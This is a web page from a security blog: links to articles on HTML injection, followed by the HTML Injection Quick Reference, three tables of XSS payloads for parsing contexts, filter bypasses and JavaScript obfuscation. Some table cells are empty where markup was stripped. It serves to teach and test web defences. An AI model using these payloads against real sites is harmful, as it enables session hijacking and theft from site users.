**HTML Injection**

**Some articles on HTML Injection and XSS:**

– When a payload travels from a URL parameter to a [cookie and back again](https://deadliestwebattacks.com/2013/03/27/the-wrong-location-for-a-locale/), say farewell to your security.

– An [attack is persistent](https://deadliestwebattacks.com/2013/03/21/insistently-marketing-persistent-xss/) when the payload continues to be reflected after only being injected once; kind of like how user-tracking uses cookies to keep a persistent profile on you.

– Browsers may be [more tolerant](https://deadliestwebattacks.com/2013/02/04/implicit-html-explicit-injection/) of an injection payload than your security filters.

– A vulnerable web app may already have all the libraries you need to [summon exploit code](https://deadliestwebattacks.com/2013/08/27/dry-fiend-conjurationsummoning/) from somewhere else.

– Preserve a script block’s syntax when [injecting into JavaScript](https://deadliestwebattacks.com/2013/01/22/know-your-javascript-injections/). Use a payload that maintains [correct syntax](https://deadliestwebattacks.com/2013/06/05/javascript-a-syntax-oddity/); don’t let an error in the browser’s parser prevent your hack from working. And take a [logical](https://deadliestwebattacks.com/2013/06/18/a-true-xss-that-needs-to-be-false/) approach to crafting the attack.

– A walk-through of a [simple injection attack](https://deadliestwebattacks.com/2013/01/14/a-lesser-xss-attack-greater-than-your-regex-security/). And an equally simple attack that injects a payload across [two URL parameters](https://deadliestwebattacks.com/2013/06/24/two-hearts-that-beat-as-one/).

– An example of how Content Security Policy counters HTML injection attacks so that [JavaScript is Harmless](https://deadliestwebattacks.com/2012/10/31/javascript-is-harmless/).

– How a tricky payload bypassed a countermeasure that [inadequately escaped](https://deadliestwebattacks.com/2012/10/02/escape-from-normality/) JavaScript metacharacters.

– Comparing a [coding weakness vs. an exploitable vuln](https://deadliestwebattacks.com/2010/05/07/is-a-vuln-without-a-useful-exploit-still-a-vuln/).

– Read the [introduction](https://deadliestwebattacks.com/2012/12/05/hiqr-for-the-spqr/) to the HIQR.

**HTML Injection Quick Reference (HIQR)**

Mike Shema, [Deadliest Web Attacks](https://deadliestwebattacks.com/)

The latest revision is at <https://mutantzombie.github.io/HIQR/hiqr.html>

[Table 1](https://deadliestwebattacks.com/html-injection-quick-reference/#hiqr_table_1): Injection Techniques for Various Parsing Contexts

[Table 2](https://deadliestwebattacks.com/html-injection-quick-reference/#hiqr_table_2): Payload Crafting Techniques to Bypass Filters and Data Validation

[Table 3](https://deadliestwebattacks.com/html-injection-quick-reference/#hiqr_table_3): JavaScript Compositions for Manipulation & Obfuscation

| Injection Techniques for Various Parsing Contexts[1](https://deadliestwebattacks.com/html-injection-quick-reference/#html5_syntax) | | |
| --- | --- | --- |
| **Context** | **State** | **Injection Example** |
| Data State (Text node, open tag) |  | Welcome back, … |
| </element> | <title>Search Results for ‘</title>‘ |
| –>[2](https://deadliestwebattacks.com/html-injection-quick-reference/#html5_comment) | –>–> |
| ]]> | ]]>]]> |
| Attribute value | Unquoted | <input type=text name=foo value=a>> |
| a/>> |
| Single-quoted (U+0027) | ‘onevent=//‘> |
| Double-quoted (U+0022) | “onevent=//“> |
| JavaScript variable assignment | Unquoted |  |
| Double-quoted (U+0022) | var foo=”“;;//“; … |
| Single-quoted (U+0027) | var foo=’‘;;//‘; … |
| JavaScript Window.location object property .hash .href .pathname .search | URL | <http://web.site/page/> |
| document.write(“Page not found: ” + window.location); … |
| #fragment | <http://web.site/page># |
| document.write(window.location); … |
| #jQuery[3](https://deadliestwebattacks.com/html-injection-quick-reference/#jquery_example) | <http://web.site/page># |
| $(document).ready(function() {   var x = (window.location.hash.match(/^#([^\/].+)$/) || [])[1];   var w = $(‘a[name=”‘ + x + ‘”], [id=”‘ + x + ‘”]’); }); |
| **Footnotes** | | |
| 1 The biohazard symbol (U+2623) — — in each example represents a JavaScrip t payload. It could be anything from a while loop to DoS the browser, e.g. var a;while(1){a+=”a”} to the ubiquitous alert(9).  These categories focus on the placement of the payload within the rendered document rather than the effect of the payload.  Though it seems daunting to review the [HTML5 syntax](http://www.w3.org/TR/html5/syntax.html#syntax) specification, doing so aids in u nderstanding how HTML is supposed to be formed. HTML5 defines an explicit algorithm for [parsing HTML documents](http://www.w3.org/TR/html5/parsing.html#parsing). Read through the spec to become familiar with the expectations of Unicode code points, parse errors, and decisions a User Ag ent may make when dealing with markup. A standardized approach to parsing is supposed to minimize the quirks and differences among browsers, thus removing a historical source of insecurity. The [HTML4 spec](http://www.w3.org/TR/html401/) was not as clear or as rigourous on parsing. | | |
| 2 Sometimes it’s helpful to insert a space before the –> to ensure the tag is in terpreted. [ [HTML5 comments](http://www.w3.org/TR/html5/syntax.html#comments) ] | | |
| 3 This is a quirk of jQuery’s design choice for overloading the [$() API](http://api.jquery.com/jQuery/) to accept selectors or elements. Read about the interplay of JavaScript and Content Security Policy on the [blog](https://deadliestwebattacks.com/2012/10/31/javascript-is-harmless/). | | |

[top](https://deadliestwebattacks.com/html-injection-quick-reference/#hiqr_toc)

| Payload Crafting Techniques to Bypass Filters and Data Validation | | |
| --- | --- | --- |
| **Concept** | **Notes** | **Payload Example** |
| Alternate attribute delimiters | Forward slash |  |
| Dangling quoted string | foo |
| foo |
| CRLF instead of space |  |
| JavaScript inline event handlers  [1](https://deadliestwebattacks.com/html-injection-quick-reference/" \l "csp_unsafe-inline)[ [html4](http://www.w3.org/TR/html401/interact/scripts.html#h-18.2.3) | [html5](http://www.w3.org/TR/html5/webappapis.html#event-handlers-on-elements,-document-objects,-and-window-objects) ] | Unquoted | a%20onchange=alert(9)> |
| Double-quoted | “onmouseover=alert(9)//“> |
| Single-quoted | ‘onclick=alert(9)//‘> |
| HTML5 autofocus | “autofocus/onfocus=alert(9)//“> |
| Data URI handlers[2](https://deadliestwebattacks.com/html-injection-quick-reference/#data_uri) | src & href attributes | alert(9)”>foo</a> |
|  |
|  |
|  |
| Base64 data | <a href=”data:text/html;base64,PHNjcmlwdD5hbGVydCg5KTwvc2NyaXB0Pg”>foo</a> |
|  |
| Alternate character sets | <a href=”data:text/html;charset=utf-16, %ff%fe%3c%00s%00c%00r%00i%00p%00t%00%3e %00a%00l%00e%00r%00t%00(%009%00)%00 <%00/%00s%00c%00r%00i%00p%00t%00>%00″>foo</a> |
| Alternate markup | SVG | <svg onload=”javascript:alert(9)” xmlns=”http://www.w3.org/2000/svg”></svg> |
| <svg xmlns=”http://www.w3.org/2000/svg”> <g onload=”javascript:alert(9)”></g></svg> |
| <svg> |
| <svg xmlns=”http://www.w3.org/2000/svg”> <a xmlns:xlink=”http://www.w3.org/1999/xlink” xlink:href=”javascript:alert(9)”> <rect width=”1000″ height=”1000″ fill=”white”/></a></svg> |
| Untidy markup | Missing greater-than sign |  |
| alert(9) |
| Recover from syntax error | <a href=””&<img&amp;/onclick=alert(9)>foo</a> |
| Uncommon syntax | <a””id=a href=”onclick=alert(9)>foo</a> |
| Orphan entity | <a href=””&amp;/onclick=alert(9)>foo</a> |
| Vestigal attribute | alert(9) |
| Anti-regex patterns | Element closed prematurely | <img src=”>”onerror=alert(9)> |
| Element confusion | <img id=”><“class=”><“src=”>”onerror=alert(9)> |
| Quote confusion | <img src=”\”a=”>”onerror=alert(9)> |
| <a id=’ href=””>’href=javascript:alert(9)>foo</a> |
| <a id=’href=http://web.site/’onclick=alert(9)>foo</a> |
| <a href= . ‘”\’ onclick=alert(9) ‘”‘>foo</a> |
| Quote confusion with element | <img src=”\”‘<a href='”>”‘onerror=alert(9)> |
| <a id=’http://web.site/’onclick=alert(9)<!–href=a>foo</a>–> |
| Quote mixing with element | <img src=”‘”id='<img src=””>’onerror=alert(9)> |
| Recursive elements | <img src=”<img src='<img src=.>’>”onerror=alert(9)> |
| Repeated attributes (match last occurrence)[3](https://deadliestwebattacks.com/html-injection-quick-reference/#html5_attribute_name_state) | <a href=javascript:alert(9) href href=” href=””>foo</a> |
| **Footnotes** | | |
| 1 HTML5’s Content Security Policy headers can neutralize these attacks by preventing the User Agent from executing JavaScript within this context unless the page author is forced to include the [“unsafe-inline” directive](http://www.w3.org/TR/CSP/#directives). | | |
| 2 The basic format is dataurl := “data:” [ mediatype ] [ “;base64” ] “,” data. The scheme is defined in [RFC 2397](http://tools.ietf.org/html/rfc2397). | | |
| 3 Per [HTML5 spec](http://dev.w3.org/html5/spec/single-page.html#attribute-name-state), *“When the user agent leaves the attribute name state (and before emitting the tag token, if appropriate), the complete attribute’s name must be compared to the other attributes on the same token; if there is already an attribute on the token with the exact same name, then this is a parse error and the new attribute must be dropped, along with the value that gets associated with it (if any).”* | | |

[top](https://deadliestwebattacks.com/html-injection-quick-reference/#hiqr_toc)

| JavaScript Compositions for Manipulation & Obfuscation | | |
| --- | --- | --- |
| **Technique** | **Notes** | **Example** |
| Concatenation | String operators | var a = “foo“+alert(9)//“; |
| Logical operators | var a = “foo“&&alert(9)//“; |
|  |
| Mathematical operators | var a = “foo“/alert(9)//“; |
| Function execution | Anonymous | (function(){alert(9)})() |
| Method lookup | window[“alert”](9) |
| Strings | String object | String.fromCharCode(0x61,0x62) |
| Regex object source attribute | alert(/foo bar/.source) |
| window[/alert/.source](9) |
| Harness functions from a JavaScript library | [Angular](http://angularjs.org/) | angular.bind(self, alert, 9)() |
| angular.element.apply(alert(9)) |
| [Ember JS](http://emberjs.com/) | Ember.run(null, alert, 9) |
| [Underscore](http://underscorejs.org/) | \_.defer(alert, 9) |
| \_.delay(alert, 0, 9) |
| \_.once(alert(9)) |
| Type coercion | 1) Boolean + Object to String | false + “” = “false” |
| ![] + [] |
| 2) String by index to character | ( false + “” )[1] = “a” |
| ( ![] + [] )[1] |
| 3) Compose string | “alert” |
| (![]+[])[1] + (![]+[])[2] + (![]+[])[4] + (!![]+[])[1] + (!![]+[])[0] |
| 4) Function by method lookup | (window[“alert”])(9) |
| (window[(![]+[])[1] + (![]+[])[2] + (![]+[])[4] + (!![]+[])[1] + (!![]+[])[0]])(9) |
| **Footnotes** | | |